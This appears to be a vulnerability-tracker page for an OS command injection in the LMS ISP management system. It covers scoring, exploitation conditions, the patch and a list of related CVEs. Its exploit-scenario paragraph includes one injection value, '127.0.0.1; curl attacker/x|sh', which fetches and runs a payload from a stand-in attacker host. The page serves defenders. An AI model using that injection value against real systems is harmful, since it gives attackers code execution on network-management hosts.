Skip to main content

LMS CVE-2026-40456

| EUVDEUVD-2026-37875 HIGH
OS Command Injection (CWE-78)
2026-06-18 CERT-PL GHSA-765c-7qf8-cw9w
8.6
CVSS 4.0 · Vendor: CERT-PL
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to LMS as operator
  2. Delivery
    Reach netdev/node AJAX endpoint on adjacent network
  3. Exploit
    Submit IP field with shell metacharacters
  4. Execution
    exec() runs injected command
  5. Persist
    Code execution as web server user
  6. Impact
    Pivot into ISP management infrastructure

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated LMS operator session (CVSS PR:L) with permission to invoke the netdevxajax getFirstFreeAddress or nodexajax updateNodeLock handlers, and network reachability to the LMS web interface from the same adjacent/management network (CVSS AV:A) - typical internet exposure of LMS is uncommon. The vulnerable code path is only triggered when the configured external command ($cmd) is non-empty, meaning a deployment with the ping/lock helper commands enabled in LMS configuration. No user interaction by another victim is needed (UI:N), and pre-patch installs are vulnerable in default code paths whenever those operator features are configured.

Impact

The CVSS 4.0 vector AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N indicates an adjacent-network attacker with low privileges (an authenticated LMS operator account) can fully compromise the host running LMS without user interaction, which matches the source-code evidence that the vulnerable handlers are AJAX endpoints reachable only from authenticated UI sessions. There is no EPSS, KEV, or SSVC data in the input, and no public exploit identified at time of analysis, so realistic risk is driven by insider/low-privilege operator abuse and post-authentication lateral movement rather than mass internet exploitation. Note a tension worth flagging: the description says 'attackers' generically while the CVSS vector requires PR:L and AV:A - defenders should treat this as a privileged-operator-to-RCE escalation, not an unauthenticated internet-facing RCE, and prioritize accordingly especially because LMS typically runs with database and shell access on ISP infrastructure.

Exploit ScenarioDerived

An attacker with a low-privileged LMS operator account on the management network opens the network-device or node management UI and submits a crafted IP-address field (for example '127.0.0.1; curl attacker/x|sh') to the getFirstFreeAddress or updateNodeLock AJAX endpoint. Because the $ip parameter is concatenated into a shell command and passed to exec() without validation, the injected commands run as the web server user, yielding arbitrary code execution on the LMS host. No public exploit identified at time of analysis, but the patch diff makes the injection point trivially discoverable.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 18, 2026

OS command injection in LMS (LAN Management System) before commit 9fcb4de allows authenticated adjacent attackers to execute arbitrary operating system commands by supplying a malicious IP address parameter that is passed unsanitized to exec(). The flaw was reported by CERT-PL and an upstream fix is available; no public exploit identified at time of analysis, and the CVSS 4.0 score of 8.6 reflects high impact on the vulnerable system with limited subsequent-system effect.

RemediationAI

Upstream fix available (commit 9fcb4de); released patched version not independently confirmed - apply the upstream patch https://github.com/chilek/lms/commit/9fcb4de19b7d76394898dbc124252b86b07ac0ed or upgrade to any LMS build that includes it, which adds check_ip($ip) validation to getFirstFreeAddress() and updateNodeLock(). If patching is not immediately possible, restrict access to the LMS web interface to a trusted management VLAN (consistent with the AV:A vector), tightly review which operator accounts hold the privileges needed to call the netdev and node AJAX endpoints, and consider temporarily disabling network-device management features that invoke ping/exec helpers - the trade-off is loss of automated IP-availability checks and node-lock workflows. Monitor LMS audit logs and the web server's process tree for unexpected shell invocations originating from PHP. Cross-reference the CERT-PL advisory at https://cert.pl/posts/2026/06/CVE-2026-40455 for further guidance.

Affected VersionsENISA

LMS 0 <9fcb4de

Affected Packages

euvd lms fix: 9fcb4de

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

LMS (chilek/lms) is an open-source PHP-based ISP/LAN management system used by network operators for subscriber, node, and network-device administration. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command) in the AJAX handlers modules/netdevxajax.inc.php (getFirstFreeAddress) and modules/nodexajax.inc.php (updateNodeLock), where a user-controlled $ip parameter was interpolated into a shell command string passed to PHP's exec() with no validation. The patch adds a check_ip($ip) guard alongside the existing empty($cmd) check, rejecting any value that is not a syntactically valid IP address before invoking the shell. The affected CPE is cpe:2.3:a:lms:lms:*:*:*:*:*:*:*:* covering all versions prior to commit 9fcb4de19b7d76394898dbc124252b86b07ac0ed.

Know when Lms gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (CERT-PL) PRIMARY 8.6 HIGH
CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N
vuln.today AI 8.0 HIGH

Adjacent management network access plus an authenticated low-privileged LMS operator account are required; once reached, exec() injection yields full host compromise with no user interaction.

3.1 AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:A/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:N

Primary rating from Vendor (CERT-PL).

CVSS VectorVendor: CERT-PL

Attack Vector
Adjacent
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

An OS Command Injection vulnerability exists in LMS (LAN Management System) before commit 9fcb4de due to an IP address parameter being passed to the "exec()" function without proper validation, allowing attackers to execute arbitrary operating system commands.

Executive ViewAI

Why It Matters

A high-severity command injection vulnerability in LMS (LAN Management System) allows authenticated adjacent network users to execute arbitrary operating system commands, potentially compromising critical network management infrastructure. This vulnerability requires existing network credentials to exploit but could enable attackers with minimal privilege levels to gain full system control. Organizations must prioritize identification and patching of affected LMS deployments to prevent unauthorized network administration access.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.9%
Top 43% exploitable
Social Media
2
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.9%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Controlled
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +43
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Lms

View all
CVE-2018-1000535 HIGH POC
7.5 Jun 26

lms version <= LMS_011123 contains a Local File Disclosure vulnerability in File reading functionality in LMS module tha

CVE-2026-39405 CRITICAL
9.4 May 20

Path traversal in Frappe Learning Management System (LMS) versions 2.50.0 and below allows authenticated users with cour

CVE-2026-40455 HIGH
8.6 Jun 18

Error-based SQL injection in LMS (LAN Management System) before commit 4cb30a7 allows authenticated attackers to extract

CVE-2026-39385 HIGH
7.1 Jul 20

Payment validation bypass in Frappe LMS 2.51.0 and earlier lets an authenticated user enroll in paid courses for free by

CVE-2026-27404 HIGH
7.1 Jul 02

Reflected Cross-Site Scripting in the designthemes LMS WordPress theme (versions 9.7 and earlier) allows unauthenticated

CVE-2026-78532 HIGH
7.1 Oct 10

Unauthenticated reflected cross-site scripting in the Designthemes LMS WordPress theme versions 8.3 and earlier allows r

CVE-2026-34606 MEDIUM
6.9 Apr 02

Stored cross-site scripting (XSS) in Frappe Learning Management System versions 2.27.0 through 2.47.x allows unauthentic

CVE-2026-96777 LOW POC
2.1 Sep 24

SQL injection in Forma LMS up to and including version 4.1.43 allows an attacker with an authenticated session on the ad

CVE-2026-39415 MEDIUM
5.3 Apr 08

Frappe Learning Management System versions prior to 2.46.0 allow authenticated students to modify their own quiz scores

CVE-2026-61806 MEDIUM
5.3 Oct 30

Frappe Learning Management System (LMS) prior to 2.54.2 lets authenticated low-privileged users retrieve and view certif

CVE-2026-61805 MEDIUM
5.3 Oct 30

Missing server-side authorization on quiz submission records in Frappe Learning Management System (LMS) lets an authenti

CVE-2026-61803 MEDIUM
5.3 Oct 30

Authenticated users of Frappe LMS can complete a paid course or certificate purchase for an arbitrary amount in versions

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy